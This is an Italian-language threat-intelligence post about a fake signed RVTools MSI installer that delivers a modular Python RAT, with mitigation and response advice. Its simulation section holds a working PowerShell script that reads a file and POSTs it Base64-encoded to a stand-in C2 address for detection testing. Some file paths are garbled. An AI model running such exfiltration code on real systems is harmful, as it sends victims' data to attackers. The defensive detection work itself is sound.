SOC Prime Bias: Medio

29 May 2026 07:20 UTC

Mascheramento RVTools: Come un Falso Installatore Firmato Distribuisce un RAT Modulare in Python

Author Photo
SOC Prime Team linkedin icon Segui
Mascheramento RVTools: Come un Falso Installatore Firmato Distribuisce un RAT Modulare in Python
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

Un installatore MSI malevolo, firmato con un certificato legittimo, si maschera come l’utilità RVTools usata dagli amministratori VMware. Una volta eseguito, l’installatore rilascia un VBScript che avvia PowerShell per scaricare un grande archivio ZIP da Dropbox. Tale archivio contiene un ambiente Python portabile che esegue un RAT multi-stadio capace di ricognizione, persistenza e comunicazione con server di comando e controllo con codici predefiniti.

Indagine

L’analisi ha tracciato l’MSI a un’azione VBScript personalizzata, Binary.MyScript.vbs, che decodificava un comando PowerShell offuscato. Quel comando scaricava un winp.zip payload in %APPDATA%, estraeva componenti e script Python come collector.py and Pmanager.py, e quindi stabiliva la persistenza tramite chiavi Run del registro e un’attività schedulata dopo il riavvio. I ricercatori hanno anche trovato che il RAT cifrava i dati raccolti con RC4 e si connetteva a cinque indirizzi IP fissi a intervalli di cinque minuti.

Mitigazione

Le organizzazioni dovrebbero applicare un rigoroso controllo di validazione della firma con controlli OCSP o CRL attivi, bloccare l’esecuzione di MSI non fidati e monitorare azioni VBScript personalizzate sospette incorporate nei pacchetti dell’installatore. I difensori dovrebbero anche prevenire esecuzioni automatiche di script scaricati, controllare nuove voci di chiave Run e la creazione di attività schedulate, e allertare su traffico in uscita verso indirizzi IP codificati non familiari.

Risposta

Se questa attività viene rilevata, isolare immediatamente il terminale interessato, raccogliere l’MSI, il VBScript e i file payload estratti per l’analisi forense, e rimuovere tutti gli artefatti di persistenza, comprese le chiavi Run e le attività schedulate. Gli indirizzi IP dei server di comando e controllo identificati devono essere bloccati al firewall, e deve essere effettuata una revisione più ampia delle credenziali e delle attività di Active Directory per determinare se si è verificato uno spostamento laterale.

Flusso di Attacco

Esecuzione di simulazione

Prerequisito: Il controllo pre-volo Telemetria e Baseline deve essere superato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per innescare la regola di rilevamento. I comandi e la narrazione devono riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrazione e Comandi di Attacco:
    Un avversario che ha già stabilito un punto d’appoggio sulla macchina vittima decide di esfiltrare un piccolo set di dati (ad esempio, C:Tempsecret.txt). Per evitare di attivare avvisi generici di traffico in uscita, l’attore utilizza un PowerShell one-liner che esegue un HTTP POST direttamente a uno degli IP C2 codificati (192.0.2.10). Il comando è pianificato tramite un Attività Pianificata di Windows per garantire la persistenza (T1546.013). Non vengono lasciati binari aggiuntivi, mantenendo l’attività ‘vivente del territorio’.

  • Script di Test di Regressione:

    # -------------------------------------------------
    # Script PowerShell – Esfiltrazione dati tramite IP codificato
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # Assicurati che il file esista (crea dati simbolici per il test)
    if (-Not (Test-Path $file)) {
        "dati sensibili $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # Leggi il contenuto del file e codificalo in Base64
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # Effettua l'HTTP POST
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "Tentativo di esfiltrazione inviato a $c2Ip"
    } catch {
        Write-Error "Esfiltrazione fallita: $_"
    }
  • Comandi di Pulizia:

    # Rimuovi il file simbolico
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # Elimina qualsiasi attività pianificata creata per il test (se presente)
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }